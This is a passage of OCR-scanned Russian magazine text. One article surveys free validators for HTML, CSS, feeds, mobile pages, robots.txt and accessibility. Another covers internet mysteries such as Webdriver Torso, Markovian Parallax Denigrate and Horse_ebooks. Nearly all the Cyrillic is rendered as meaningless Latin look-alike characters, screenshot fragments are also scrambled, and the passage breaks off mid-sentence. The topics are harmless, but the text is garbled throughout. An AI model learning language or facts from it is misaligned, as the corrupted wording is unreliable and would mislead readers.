TOHHbI CCbIJIOK Ha 61101 LWWKO/IbHMKOB, KOTOPbIE HAMCKOCOK NpoynTanu maHyan no HTML pecatunet-
Hel NaBHOCTU N PELLUMNY NOAENNTLCA CBOMMW 3HAHUSIMU CO BCEM MUPOM. Ha 60/1bLUMHCTBO NOA00OHbIX
canToB Haao Bewartb 6aHHep: «<Koa, NpMBEAEHHbIN HA 9TOM PECYPCE, BbIMbILLIEHHbIN, NOOLIE Cnyyan
ero pabotocnocobHOCTW cnyyariHbl». HO HUKTO Tak He AenaeT, 1 TbiICA4YM NPOrpaMMUCTOB C IEFKOM
PYKU KOMVPYIOT B CBOM NPOEKThI KO M3 HEHAAEXHbIX MCTOYHMKOB, @ MOTOM YEepEe3 HEKOTOPOE BPEMS
CTaNIKMBAIOTCSH C pa3HbIMU NpobnemMkamu, CBA3aHHbIMM C HECOOTBETCTBMEM canTa cTaHaapTam. Ecnn
TBOW CalT No-pa3HOMY BbIMAANT B pa3dHbix Opay3epax, Firebug BblgaeT oecartkm owmnobok, a NoUCKo-

BUKW HECrpaBea/MBO UTHOPUPYIOT, 3Ta CTaTbdA OJ14 Tebs.

BBEOEHMUE

Ceitqac Mbl chOoKycHpyemcs Ha ABYX MMaBHbIX MOMEHTax. Ham HyxHO caenats Tak, 4ToObl caiT:
KOPPEKTHO oToBpaxancs pasHeiMn 6paysepamu;
NpPaBusibHO HAEKCUPOBAJICS NMOUCKOBMKAMM.

OTkyna paspaboTynkm 6pay3epoB 6epyT MHDOPMaLIMIO 0 TOM, Kak paboTtatk ¢ HTML, CSS, XML, JavaScript
1 NMPOYUMU TEXHONOTMAMN? B OCHOBHOM M3 LOKYMEHTALMW, COCTABAEHHOW KOHcopumymomMm W3 v apyrummn
YNOIHOMOYEHHbIMW OpraHu3aumsiMmy. COOTBETCTBEHHO, €CM CalT caenaH CTPoro Mo 3TMM CTaHaapTam,
TO B naeane oH ByneT oAMHAKOBO OTOOpaxaTbCs BO BCEX COBPEMEHHbIX Opay3epax. Takxe CTpaHuLua, Koa,
KOTOPO HanucaH Ha npaeunbHoM HTML/CSS, 3arpyxaetcs 6bicTpee — He TpaTuTcs BPeMsi Ha 06paboTky
owmnboK.

[oVCKOBbIE CUCTEMbI CTPEMSTCS K TOMY, YTOObI 0TOOpPaxaTb B MOVMCKOBOW BblAa4ye MakCMMasbHO Kave-
CTBEHHbIA KOHTEHT. EC/Iv po6OT HalaeT B KoAe canTta omnbKy (TO eCThb J1l0Oble HECOOTBETCTBUSA CTaHAAPTaM),
TO OH PELUUT, 4TO CaiT paboTaeT HEMPaBUIIbHO U MOXET A0CTaBUTb MNOMb30BATENIO HEYA06CTBA NpU ero no-
celieHnn. NMoaTomMy OH CTPEMUTCS NMOHU3UTL «HECTaHAAPTHbIV» B Bblaaye.

A Tenepb nporigemcst No pasHbiIM CTaHZapTaM U NOAENMMCS CCbilkaMu Ha GecnnaTHble CEPBUCHI, rae
MOXHO NPOBEPUTb CBOW CalT HAa COOTBETCTBME UM.

NPOBEPKAHTML

W3C HTML Standart — aTo nepe4yeHb NpaBwus, KOTO-
pbIM JOMKEH COOTBETCTBOBATbL KOZ, F'MNEPTEKCTOBOW
pasmeTku. MNMonHbI TEKCT cTaHAapTa BeCcbMa 00b-
€MHbI, 1 NPOYUTaThb ero 3a OAMH NPUCECT U He yC-
HYTb HEBO3MOXHO. [103TOMY, 4TOOLI MPUBECTU CBOM
caiT B [IO/MKHBIN BUA, yOOOHEee NpoBepuTb ero cep-
BYCOM-BanaaTtopoM 1 BHECU U3MEHEHUSI B COOT-
BETCTBMM C BblAAHHLIMW PEKOMEHAALIMSMU.

Banupatop HTML ot W3C:

NMPOBEPKACSS

W3C CSS Standart — aTo ctaHAapT, pernaMmeHTupy-
IOLLMIA CUHTAKCUC KackadHblx Tabnuy, ctuneit. Ecnn
4YeTKO eMy C/efioBaTb, TO MOXHO M36aBUTb cebs
OT 3amopoyek JS-geTekTvHrom 6paysepa 1 Hanu-
caHveMm oTaenbHbIX cTunen ana Firefox, IE n Opera.
M 3a0QHO C3KOHOMUTb BPEMSI Ha TECTMPOBAHWUU
npoekTa.

Banupatop CSS ot W3C:

ion Service

‘Sorry! We found the following errors (1)

W3C 3 YALIDATOR
@Y suie

mozilla

NMPOBEPKA®UAO0OB

CraHgapt ana RSS-neHT HasbiBaetcs W3C RSS
Standart. CooTBeTCTBME [JAHHOMY CTaHOApTy ra-
paHTVMpyeT afekBaTHOE MPOYTeHVEe NeHTbl NIIoGbIM
RSS-puaepom. Ecnv HecTaHaapTHbI caiiT 6paysep
Koe-kak o6paboTaeT v MonbL30BaTeNlb €ro YBUOWT,
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TO C TPaHCNATOPOM GUAOB Takas Cxema He npoka-
TUT. DTO CAyyait, koraa npoBepka oba3artesnbHa.
Cant-sanuaartop:

NMPOBEPKAHA KOPPEKTHOCprTOBPA-
XEHUS MOBUJIbBHBIMUYCTPOUCTBAMM
MNMepeyeHb CTaHOAAPTOB, PErNamMeHTUPYIOLMX OTO-
6paxeHne caliToB Ha MOOW/bHLIX YCTPOWCTBAX.
YunTbIBaET BCE TOHKOCTU TENEhOHHbIX U NAaHLLET-
HbIx 6pay3epoB: 0COOEHHOCTM paspeLleHnii aKkpa-
HOB, 0TOBpPaXxeHVe KapTUHOK, CIIOXHOCTU C BBOAOM
DaHHbIX B GOpMbl 1 Tak ganee. Pesynstar aToro 1e-
cra: . MobileOK BasicTest
0.1 nokaxeT TeGe BCe CNOXHOCTW, C KOTOPbIMW
MOXET CTOJIKHYTbCSi MOCETUTENb, €CNX TBOW CanT
HE COOTBETCTBYET CTaHgapTam Ans MOOWUNIbHbIX
YCTPOWMCTB.

a

Bcé€ no npasunam

4TO cpenarb OWKNOKY MPaKTUHECKN HEBO3MOXHO.
Ho Ha Bcsikmii cnydait nogenumcs ¢ Toboi cep-
BUCOM-BanMaaTtopomMm ans atoro danina:

Robots.txt Checker

sl cbot) shoud ot access

aidatr
A% om0 A e 3SC3) o 1 s erors.

1 (©anpi 1

39

Validome.org

C NoMOLLbIO 9TOr0 CEPBUCA MOXHO NPOBEPUTL CaT
Ha COOTBETCTBME ClieAyoLlnm cTaHgapTam:

- W3C HTML Standart;

+ WS3C XHTML;

+  W3C XML Standart;

+  W3C WML Standart.

L) meer
2) Pover oo e

. o, st
3) Conear

BAJIUAALIUSA XML

Hannune owwnbok B reHepupyemom caitom XML
MOXEeT 06epHyTbCcs npobseMamn npu BHEOPEHUU
MOZynel, HanMcaHHbIX APYrMMy paspaboTymkamu.
HectanpapTHbin XML HEBO3MOXHO MHTEPNPETUPO-
BaTb, MOATOMY OT Hero Hago usbaenatbes. JeTek-
TUTb HECOOTBETCTBUS GOPMATY MOXHO 3[ECh!

NPOBEPKA COOTBETCTBUSA CTAHAAPTY
SECTION 508
Mpw co3paHum canToB CneayeT y4nUTbiBaTb, YTO UH-
TEPHETOM MOJNL3YIOTCA U Chenble UM cnaboBuas-
wme noan. OHW fenatoT 3TO C MOMOLLBIO cneumanb-
HbIX MPOrPaMM Mo NPeobpPa30BaHNIO TEKCTA B PEYb.
Y706bI TBOW CaNT GblN YyAOOHBLIM AJIA TaKMX NOJIb30-
BaTenel, Hago, YTobbl BCe TEKCTOBbIE MaTepuasb
Ha HEM UMENN NIHEHYIO NOTUKY YTEHUS, Y KapTu-
HOK Oblny noanucy (aTpubyT alt) u menuck Nnpoyne
MeJIo4N, HaMune KOTOPbIX MPOBEPSIET BanIMAaTop
craHgapta Section 508. K cnoBy, Google o4eHb fito-
OUT caliTbl, COOTBETCTBYIOLLME ITOMY CTaHIAPTY,
1 [JaeT UM LOMNOSHUTENIbHbIE O4YKM MPU PaHXMpoBa-
HUW.

Banupatop AOCTYNHOCTM caiTa /15t UHBaNUA0B:

NMPOBEPKA HAHAJIMMUE BUTbIX CCbIJTIOK
Butble ccbulku Ha canTe cnyxar (pakTtopom, ro-
HUXAIOLWMM NO3MLMK caiTa B NMOUCKOBOWN Bbloaye
(NMPOBEPEHO FOPLKUM OMBITOM MOCHAEAHEr0 OBHOB-
neHus xakep.ru). [la n nonb3oBarenen OHU CUsb-
HO pasgpaxatoT. [oaToMy OT CCbUIOK, BeayLumX
B HUKyZa, Hafo n3baensaTecs. Ho cHavana vx Hapno
HalTW — Hanpumep, C NMOMOLLbIO 3TOro cepsuca:

NMPOBEPKA ROBOTS.TXT

MpoBepka cuHTakcuca darna robot.txt. Ans Tex,
KTO HE B Kypce: 3TOT dain pa3MeLLaeTcs B KOpHe-
BOM KaTasiore caita U COOEPXMUT 3anpeTbl Ha UH-
[eKkcauuio onpefesnieHHbIX CTpaHuL, NOMCKOBMKA-
MU. CUHTakCuC 3TUX 3anpeToB HACTOSbKO MPOCT,

XML well-formedness checker and validator

ity Eternl sty
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HTML / XHTML / WML / XML Validator
dome)

Forum | Resources | Sidebar | Contact | About | Weblog
Doctype
auto detect || ©m
o/
Charsets 6 Upload

[ @ Help] =, Extended setings

Validation Services for your HTML / XHTML / WML

Validome allows Web Publishers to check their syntax with a reliable, high-speed validation service., in acc
current official Standards. Valid code is very helpful. in order to avoid problems with different browsers and
simple visual check of your site does not conform any more to modern webdesign and generally accepted |
requirements
Other validators:

Beyond HTML / XHTML and WML validation, Validome offers you the possibilly to validate other documeny

Allows validation of XML 1.0 documents according to W3C specifications. » XML Validator
Standalone grammar validator for XML DTDs and Schemas. » DTD / Schema-Validator «

Advanced Feed-Validator for » RSS and Atom «

SM;—‘BP Validates your » Google Sitemap(s) « on XML conformity and specific requirements

Validating your site code means
- mostly consistent display for your sites with many browsers (which display the one and same - unvalid
differently) and making your site more readable for different user agents
- helping exposing and repairing barriers to accessibility

- encouraging compliance with existing accessibility guidelines - such as W3C's Web Content Accessibil

WCAG) or Section 508
-_making websites accessible o all individuals_including those with disabilie:

Total Validator

OTUM CepBMCOM MOXHO MOJIb30BATLCS B BUAE OEC-
KTOMHOW nporpaMmmbl  unn  Firefox-gononHenus.
Oco6oro cmbicnia B BepCUM OJi KOMMa HeT, Tak
Kak OHa BCe paBHO paboTaeT TOMLKO MPY HaINHUK
noaknoyeHunst k Cetn. A BoT B Buae 6paysep-aa-
[lI0Ha 3TOT cepBuC 04eHb yaobeH. MNMposepsieT Total
Validator cooTBeTCTBME CneayoLmMm CTaHaapTaMm:

+ W3C HTML Standart;

« WGAG;

+ Section 508.
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KOMMNNEKCHAY AUATHOCTUKA

A BOT HECKONbKO CEPBMCOB AJisi MPOBEPKW canTa
Ha COOTBETCTBME calita cpady HECKONbKUM CTaH-
napram.

Takxxe npoepsieT opdorpaduto n GUTbIe CCbil-
Ku. B pro-Bepcum goctynHa Banupaums CSS um pac-
LUMPEHHbIE HACTPOWKM OTOOPAXEHNSI Pe3yNbTATOB.

Caiit npoekra: aC

INFO

W3C (World Wide Web Consortium) — BcemupHas opraHusaums, Bo3rnasnsieMasi O4HUM
13 u3obpetarteneii uHTepHeta Tumotn IxoHom bepHepcom-Jlu, 0TBETCTBEHHas 3a BCe
TEXHONIOTMYECKIME CTAHAAPTBI, KOTOPbIE MCNONb3YHOTCS B CeTh MHTepHeT. OduunanbHo

cywecTsyeT ¢ 1994 roaa, a HeoduumanbHo € Tex Nop, kak rocnoanH bepHepc-Jiu ¢ rpynnoi
€AMHOMbILNEHHUKOB 03a60TMNCS NPo6AEMOii co3aaHNs BCEMUPHOI KOMMbIOTEPHON CeTH

(BTOpas nonosmHa 1980-x rofos).
OCHOBHOW CaiT KOHCOPLMYMa — W3.0r(. TaM Tbl MOXELLb HAWTU NOJHbIE TEKCTHI CTAHAAPTOB
(CCbINKM Ha HUX Mbl HE NPUBOAMM, TaK Kak aKTyasbHble BEPCUM MO KaXA0My CTaHAAPTY No-
CTOSIHHO MEHSIOTCA).
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04TV BCA WHPOPMaLMS, KOTOpasi eXedHEBHO nybnun-

KYETCS Ha NPOCTOpax MHTEPHETA, UMeeT 0OBbACHUMbIN

CMBICJ1: HECJIOXHO Y3HaTb, KTO M 3a4eM Hanucan o4ye-

pPenHon nocT, cTaTbio v cooblieHne. Ho nHorga Ha-
XOASTCS COBEPLLUEHHO HEOObSICHUMbIE BELLM, U €CIM UM YAAeTCs
npueneyb k cebe BHYUMaHWE, TO OHW MepepacTaioT B GEeHOMEHbI
1 NOPOXAAI0T MHOTOYMCIIEHHbIE TEOPUM 06 KX MPOUCXOXAEHNN.

Hepenko CTpaHHble £ABNEHUA CO3JaI0TCH  WCKYCCTBEHHO
1 0CO3HaHHO. B3aTb, Hanpumep, rpynny Cicada 3301 ¢ ee 3araa-
Kkamu nnn cant SCP Foundation, koTopbIit HANOMMHAET COOPHNK
nocbe B ctune «CekpeTHbIX MaTepuanoB»: ero CTpaHuubl Mo-
CBSILLIEHbl 3arafo4yHbIM SIBNEHUSM U apTedakTam, OT OnMCaHuin
KOTOPbIX MHOrAa cTaHoBUTCA He no cebe. N3BecTHo, 4To SCP
Foundation cosganu nonb3oBartenu 4chan pagn co6CTBEHHOrO
pasBneyeHusi, — 3T0, N0 CyTW, HAy4YHO-PaHTACTM4YECKOE NMPOU3-
BeAEeHNe, HaNnMCaHHOe KO/IEKTUBHO.

MHorpa HenoHATHas MHdopMaums BbiNIECKMBAETCH Ha Npo-
cTopbl Be6a He3an1aHMPOBAHHO, YTO ELLE CUSIbHEE MELLAeT ycTa-
HOBWTb MCTOYHUK. [oXanyi, BeCb MHTEPEC Kak pas B TOM, YTO OT-
Nn4nTb Cllydam OOAHOro Tuna OT ciay4yaeB APYyroro rnpaktnyecku
HEBO3MOXHO.

YacTb MUCTEpUiA, O KOTOPbLIX MONAET Peyb, MOXHO CPaBHUTb
C HOMEPHbLIMN pPagnoCTaHUNAMA. 06 ux CcyulecTBoBaHN 3HaAET
KaX bl paanoniobuTesNb: HACTPOMB KOPOTKOBOJTHOBLIN MPUEMHUK
Ha HYXHYIO 4acTOTy, pa3 B ONpenesieHHbI MPOMEXYTOK Bpeme-
HM MOXHO yCbILaTb BELUM, HE NOAAAIOLLMECS NPOCTOMY OObSIC-
HeHVI0. Yalle BCero AUKTOPCKUIA ronoC 3a4vTbiBAET MO3bIBHbIE
B Buae OykB 1 undp, MHOrAA UrpaeT Menoaus.

CyuTaetcs, 4TO HOMEpHble PaaMoCTaHUMWM nepejaloT ans
LUMMOHOB WM BOEHHbIX LWNPbI, KOTOPbIE T€ MOMYT NCMNOJIb30BaTh
B KQ4eCTBe KpunTorpaduyecknx KaoyYen K Kakum-To Apyrum Tam-
HbIM nocnaHusam. bes nHdopmaumm o Tom, KOraa MMEHHO 1 Kakyto
MMEHHO BOJIHY HYXHO CNyLlaTb W Kak NCMOb30BaTb MONYYEHHbIE
KJIIO4W, ANt MOCTOPOHHUX 3T WNGPLI HE 03HAYAI0T POBHbLIM CHe-
TOM Hu4ero. Ho 1o nuLwb eLue 60nblue pa3xuraeT MHTepec niobu-
Tenel BCero HeMOHATHOrO.

WEBDRIVERTORSO
OpHO 13 3arafo4HbIX COObITMIA NMPOW30LLIO0 COBCEM HEAABHO,
1 OHO OT/IMYHO roamMTCs B KayecTse npumepa. Ha YouTube kem-To
cny4aliHo 6bin HalaeH kaHan nod HassaHvem Webdriver Torso, roe
Kaxable ABafLaTb CeKyHA, NOsIBNSIOCh HOBOE BWUAEO: B POSIMKE
B TEYEHME HECKONbKMX CEKYHA, NMOL, OOHOTOHHbIN MUCK IEMOHCTPU-
pyeTcsl KPACHbIA N CUHUI NPSIMOYrONbHUKW, 3aTEM MUCK MEHSIeT
TOHANIbHOCTb, @ NPSIMOYrONIbHUKN — PACMOJIOXEHWNE U MPOMNOPLUN.
3710, 6€3YCNOBHO, O4YEHb CKYYHbIE BUEO, U BHUMAHUE NpUBReKan
NNLWb TOT akT, 4TO MX HAaKOMWIOCk Mopsaka 77 ThicaY — U BCE
NnpUMepHO OANHAKOBbIE.

Hukakunx 3auenok, no KOTOPbIM MOXHO
ObINI0 6bl MOHATL, KOMY U 3a4eM MOT MOHa-
[oBUTLCS Takow KaHas, He 6blno, 1 Teopun
He 3actaBunmn cebs xpatb. LUnuoHckne
nepegayn! BupanbHasa peknama! Ocobo
POMaHTMYHbIE NIMYHOCTM  Mpeanonaranu,
4YTO MMEHHO Tak Morna Obl BbIMSAETL MO-
MbITKa YCTAHOBUTb KOHTAKT C UHOMIAHETHBIM
pasymoM. Ho npaBee Bcex oka3anuch Te, KTo
npepnonaran, 4To BUOEO 3arpyxaeT Kakas-
TO aBTOMaTM3MPOBaHHas cucTemMa.

Bckope nocrne Toro, kak Lwymmnxa BOKpyr
Webdriver Torso paspocnacb 1 4oCTUrna no-
nynsipHbIX 6710roB, NOsIBUIACH U NepBasi Bep-
Hasi poragka. Hawencs nHxeHep-TecTMpoB-
LMK, KOTOPbIA HE3a[onro A0 3TOro BUAEN
noknan Ha kKoHdepeHuun, roe nopobHbie
POSIMKM MCMONB30BaNN ANt TeCTUPOBAHUS
KayecTBa cxaTtus npu 3arpyske suaeo. OgHa

0:00/0:12

TUNUYHBIA PONNK U3 06-
LIMPHOrO penepTyapa
Webdriver Torso

T TTGWING RCCESS TO €U GAILOUT CASH. " UNHE

4acTb CUCTEMbI 3arpyxana BUAEO, a Apy- —

q7

ras oueHuBana ero 4eTkocTtb. MeHHOo Tak n nossuncs Webdriver
Torso, a co3ganu ero camv coTpyaHuku YouTube.

B Google He cTanu TEMHUTbL U B OTBET Ha 3anpOC MPECCHI OT-
BETWSIW, 4TO Aa, MOJ1, UICMONb3YIOT aBTOMATUYECKMEe TECTbI U B TOM
yncne Webdriver Torso, npuiem oTBeT Obl1 CTUIM30BaH NOA K-
nnet u3 necHn Puka 3ctam Never Gonna Give You Up. Opyron
«PUKPOJIN» 0BHAPYXMCA HA CAMOM KaHane: B O4HOM U3 POJIMKOB
BMECTO KPaCHOro NpsiMoyrosibH1Ka Gbl1 KpaCHbIV CUY3T TaHLyo-
wero Puka 9ctnm ( ).

B Google, noxoxe, nopanoBanmcb HEOXMAAHHON Cnaee CBO-
ero TeXHW4Yeckoro kaHana W B OTBET CrpsATanu TyT U TaMm elle
HECKOJIbKO CBSI3@HHbIX C HUM «NacxaibHblX auvu». Ecnu nckatb
Webdriver Torso B YouTube, TO MEHIO CepBuCa CTaHET Pa3HOLBET-
HbIM, @ MOMCK TOr0 Xe crioBoco4yeTaHns B Google npeBpatnT noro-
TWN cepBuca B aHUMUPOBaHHbIE NPSIMOYroJIbHWKM (Npasaa, pado-
TaeT 370 TOJIbKO B aHrminckom sepcum Google, ga u 1o He y Bcex).

MHoraa cnyyariHblii Mycop — 3TO OEWCTBUTESIbHO ClyYanHbIn
MYCOp, a He LUNMOHCKas nepenadya. Teopun 3aroBopa 1 cepbes-
Hbl€ MOMbITKM HAWTU BHYTPW TalHOE MOC/IaHNe NULLib NOBECENST
Tex, KTO ero BbIGpocus.

MARKOVIAN PARALLAXDENIGRATE

Kak n3BecTHo, MHOrMe ¢deHOMEeHbl, 3HaKOMble HaM MO MHTEPHe-
Ty, NOSIBUANCH €LLe A0 HEFO — BO BPEMEHa NnpeaLecTBOBaBLUNX
emMy ceTeiri. K npumepy, cnam 3apoawncs, korga B Moge Obiiv
BBS un koHdepeHumn Usenet. Ho Torpa paccbinka oAMHaKOBbIX
coobLeHni Bblna ckopee pasBiieveHNEM BPEANTENBCKOro TOMKa,
HEXENN CPEACTBOM pPeKnaMbl 0COBbIX JIEKAPCTBEHHBIX CPEACTB,
rpy30nepeBO30K U 3bIKOBbIX KYPCOB. Ml TOYHO Tak Xe, Kak y Hac,
4YepTbiXasaCb, BCMNOMUHAIOT LIEHTP amepukaHCKOro aHrmmnmncko-
ro, nonb3oBatenn Usenet NOMHAT GEHOMEH MOA Ha3BaHMEM
Markovian Parallax Denigrate — kyna 6onee 3arago4Hblii No CBO-
eri npupogae.

B 1996 romy koHdepeHumn Usenet 3a-
MOSIHUANCL MUCbMaMy C OAVHAKOBbIM 3a-
ronoskom: Markovian Parallax Denigrate
(nepeBecT €ero MOXHO kak «[lapannakc
MapkoBa KneseTta»). 3By4nT 6ECCMbICNIEH-
HO? B camux cOOO6LLEeHNsSX CMbicna Oblno
€eLle MeHbLUE: OHN COCTOSIN U3 CNy4anHOro
Habopa CnoB, UMEIOLLLEro YNCTO dhopMab-
HOEe CXOACTBO C YEeNIOBEYECKUM S3bIKOM.
B ocHoBe anroputma, CO3paloLLlero Takue
«npou3BeneHust», nexar uenu Mapkosa,
4YTO 1 BGbINO OTPAXKEHO B 3aronoBKe NMcbMa.
TekCTbl, CO34aHHbLIE NPW MOMOLUM TOro Xe
anropmMtMa, 1 cemyac nonynspHbl y cname-
POB — MMM HaMoJIHAOT ChaorK (aBToMaru-
YECKM CreHepupoBaHHbIE CanTbl). pyryio
HarMSgHYI0 AEMOHCTPALMIO MOXHO YBU-
neTb Ha cante AHpekc.Pedeparsl (

), KOTOPbLIA BblOAeT NCeBAOHAYY-
Hbl€ TEKCTbI HA 3aJaHHblE TEMbI.
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BonHa cnama B Usenet Bpsa nn ctana 6bl NnpyMevaTenbHbIM
MNCTOPUYHECKUM COOBbITMEM, ecnn Obl HE SNEKTPOHHBIA aapec OT-
npaeutens — susan_lindauer@worf.uwsp.edu. [eno B ToMm,
410 Cbl03€eH JInHaayap — N3BECTHOE UMS, NpUHaanexatiee ObiB-
e coTpyaHuue LIPY, koTopyio no3xe (MHoro no3xe — B 2004
roay) apectoBasv No 06BMHEHMIO B CBA3AX C MHOCTPAHHbLIM Mpa-
BUTENIbCTBOM: IKOObI OHA LUMMOHMAA B Nonb3y JInsum nnu Mpaka.
MukaHTHOCTW UcTopuK [O06aBUIU BbLICTYNNEHUS JInHaayap, B KO-
TOpPbIX OHA N3061M4ana NPaBUTENbLCTBEHHLIN 3aroBop, AKOObI CTO-
AlWmii 3a cobbiTuamn 11 ceHTabpsa 2001 roga. Yto, ecnmn Markovian
Parallax Denigrate, kak 1 HOMEpHbIE pagnocTaHumMn, Gbian CNOCo-
60M nepepaTtb Hekoe TaHOe MocfiaHue BMeCTe C BHellHe 6ec-
CMbICNIEHHOM MHbOopMaumein? Hanpumep, nepepatb rocypap-
CTBEHHYIO TaliHy NpPaBUTENbLCTBY Mpaka. ANropuTm BMOJSIHE MOT
nonbuparb cnosa Tak, YToObl OHWU CKaabIBaNIMCh B LWMPP.

Csoto npuyacTtHocTb Kk Markovian Parallax Denigrate JIuHgay-
3p OTpu1LAna, HO MHOMO NI 3TO 3HAYMT B Takou cuTyaumn? B 2012
roay penoptep naaaxdusa The Daily Dot KesuH Moppuc npeanpum-
HSN CBOE paccriefoBaHne, B XO04e KOTOPOro Hallesn KOCBEHHOe
NnoATBEPXAEHME TOro, 4To ObiBlIaa coTpyaHuua LIPY JliuHpaysp
30ecb AEeNCTBUTENbHO HU Npu Yem. Bmecto Hee Moppuc obHa-
pyxun apyryio CblodeH JInHgayap, KOTOpoi B AEACTBUTENIbHOCTI
npvHagnexan awmk Ha worf.uwsp.edu, To €CcTb Ha AOMEHE YHU-
BepcuteTa BuckoHcKHa, roe Ta yymnack Ha ¢usmka. Tonbko BOT
CBOI0 nNpuyacTHOCTb K Markovian Parallax Denigrate sTopas JInH-
[ayap Toxe onpoBepria.

Ckopee Bcero, 06parHbii agpec 6bi1 nogaenaH. Kem? Henb3s
MCKJIIOUUTb, 4TO «Nomo3putenHas» JInHoayap Obina HaACTONbKO
n3obpeTaTesibHOM, YTO OCTaBuSia B KaiecTBe 06paTHOro agpeca
MOYTY NOJIHOWM TE€3KM, OAHAKO TAaKOe OObSCHEHWNE YXE ABHO BbIrfis-
OUT NPUTSHYTBIM 32 YLK — ropasgo npotle 66110 6bl BbIOpaTh J1to-
6yto apyryio damunuio. Ckopee Markovian Parallax Denigrate —
3T0 O0ObIYHOE XYNUFaHCTBO WM CTYOEHYECKMIA 3KCMEePUMEHT,
[OJ15 KOTOPOro B3siIM Hemcnonb3dyemblii agpec. O cylecTBOBaHUN
3HamMeHuTon JInHaayap aBToOpbl MMCEM MOV AaXe He 3HaTb, a Mbl
ye, N0 BCEV BUAMMOCTU, HAYETO HE Y3HAEM O HUX CaMUX.

HORSE_EBOOKS
«M3beran cutyauuine. «Mnakatb — xopoLuee ynpaxHeHue». «Mbl
BCE COMNACHbI: HUKTO HE BbIMMSAUT KPYTO». «Tbl, HECOMHEHHO,
B LLIOKE BCMOMHMLIb 06 3TOM U». «4epBn — 0 6oxe, HEPBU». 3T
1 nopgobHble UM dpasbl HA aHIMUINCKOM A3blke HadumHas ¢ 2009
ropa nosiBnanuch B TButTTEpe @Horse_ebooks npvmepHo kaxaple
nBa yaca. Bpemsa ot BpemMeHn ¢ppasa conpoBoxaanacb CCbIIKON
Ha MarasviH, TOPrylOLWWA 3NEKTPOHHBIMW KHUFaMW O NoLlafsx.
HaBepHsika kaxaplh nonb3oBatens Twitter BO MHOXeCTBe BU-
[en Takne akkayHTbl 1 6e3 Tpyaa pacno3Han 6bl B Horse_ebooks
cnamboTa. Ho ecTb 0IHO «HO»: y Hero 6bino 6onee 40 Thicay don-
JIOBEPOB — MPUYEM HE MNOAAESNbHBIX, @ CaMblX HacToAwWwmx. Bonee
TOro — KpanHe npegaHHbIX!

Y coobuiectea nobutenen Horse_ebooks B mome 6biio
HE TONbKO PeTBUTUTL BGeccMbicanuy ntobrmoro 6oTa: NOKJIOHe-
HWMe [OCTUIIO Taknux MacluTaboB, YTO NPO KOHS ¢ aBaTtapkn Horse_
ebooks pucoBany KOMUKCHI, @ UMTaTbl nevatanm Ha ¢yTeonkax.

Ceiuac y Horse_ebooks
6onbuie 200 ThicaY
cdonnoeepos

TOT camblii KOHb C aBa-
Tapku

BoT OH, 3arapoy4HbI
co3partensb Horse_
ebooks — Anekcei
KysHeuoB us Tynbi

XAKEP 09 /188/2014

O ToM, KTO cTouT 3a Horse_ebooks, y 60/IbLUNHCTBA NOKIOHHMUKOB
BOMPOCOB HEe BO3HMKANO: Kakas pasHuLa, eciavm 3To oauH n3 bec-
YUCIIEHHBIX CNamMepCKMX akkayHTOB?

B ceHTa6pe 2011 rona daHatel Horse_ebooks noameTunu He-
KOTOpPbIE N3MEHEHMS: MOCTbI TEMepb AeNnanuck Yepes Beb, a He He-
pe3 API, a KONMYEeCTBO yAAYHbIX LMTAT BO3POCAO MHOMOKpPaTHO,
1 nx 6onblue He MPUXOAMIOCH BbINABANBATL B MOTOKE MOJSIHOW
6eccmbicnvubl. MNonon3nu cnyxm o ToM, 4TO cnamep, Co3aaBLUni
Horse_ebooks, npo3Han o nonynasipHOCT CBOEro TBOPEHUS 1 TG0
cTan nogbupatk UMTaTbl BPYYHYIO, MM6G0 YCOBEPLUEHCTBOBAST anro-
puTM. MNoBbILLEHME Ka4eCTBa LMTaT 1 3a04HO rpaayca 3arafo4Ho-
CTW NOLUIO TONIbKO Ha NOJb3y NonynspHocTn Horse_ebooks.

Mo cnepy cospatens Horse_ebooks nycTuncs WM3BECTHbIN
6norep dapuaH YeH, 1, x0Tb paccnefoBaHne 1 3aTSHYOCh Ha He-
CKOJIbKO JIET, OHO B UTOre npuBeso kK ycnexy. He coctaBuno Tpy-
[a BbISICHUTb, 4YTO AOMeEH horse-ebooks.com 3aperncrpupoBaH
Ha Hekoero Anekcest KysHeLl0Ba, HO Kak HalTu YesoBeka Co CTOJb
pacnpocTpaHeHHol damunuein? YeH paxe o6bABNAN Harpagy
B 50 fonnapoB 3a To, 4TOObI KTO-HWMOYAb CXOAM MO yKa3aHHOMY
npu perncTpaunmn gomeHa agpecy, Ho eMy BbICTPO 0ObACHUN,
410 «MOckBa, ynuua JleHnHa, aom 11» Bpsa v B AEACTBUTENbHO-
CTW SIBNSIETCA MECTOM MPOXMBaHMA cnamepa, na u Anekcen Kys-
HeL0B, CKOpee BCEro, He HacTosLLEE NMS.

Cnepnom YeH 3akasan CnMcok AOMEHOB, 3apErncTpupoBaH-
HbIX Ha TOrO Xe YenoBeka, U cpeau Nosy4eHHon nHbopmaumn
06HapyXun agpec 3NeKTPOHHOW MOYTbl, KOTOPLIN BbIBEN €ro
Ha npodunu Facebook n BKoHTakTe, npuHagnexawme Anex-
celn, — uMma 1 pammnansa okasanucb HacTosWwmMMKn. Bnpoyem,
Ha 3anpoCbl MHOCTPAHHOW MPECCHI PYCCKWIA CnamMep He OT-
BeYasl, 1 KOMMEHTapun yaanocb NONy4YUTb TOJBKO Yy ero 3a-
py6exHoro naptHepa — komnaHuu Clickbank. Tam o KysHe-
LLOBE O0TO3Ba/INCb O4YEHb NIECTHO. ELLle 6bl, BeAb NONYNsSpHOCTb
Horse_ebooks HaBepHsaka conpoBoxaanacb HEBUAAHHLIM PO-
CTOM NOCELLAEMOCTN peksaMnpyemoro canra.

HacTosiliee oTKpbITME, TEM HE MeHee, OblO elle Bnepe-
N — OHO 06BbACHSAET n3mMeHeHus1 B paboTe Horse_ebooks B 2011
rogy U HenocpeaCcTBEHHO CBSA3aHO CO CrieAytoLLei TauHCTBEHHOW
WUCTOPUEN.

PRONUNCIATION BOOK
Copepxumoe kaHana YouTube nop HasBaHwem Pronunciation
Book Bpaa, v coctaBuT No 3arafgo4HoCTV KOHKYpeHumio Webdriver
Torso, HO 3TO NUWb Ha MNepPBbIA B3MA4. B TunuyHOM ponuke
Pronunciation Book Ha aKkpaHe nokasblBalOT KPYMNHO HamMCaHHOe
CJI0BO 1 3a4MTbIBAIOT €ro Bcayx. Cnosa no 60bLuen 4acTu Takme,
4TO 06 UX NPOV3HOLLEHUN AENCTBUTENIbHO MOFYT BOSHUKHYTb BO-
npocbl — Hanpumep, ASUS nnn deadmau5. Cyasa no KOMMeEHTa-
puam, ponvkn Pronunciation Book nencTentensHo 4acto HaxoaaT
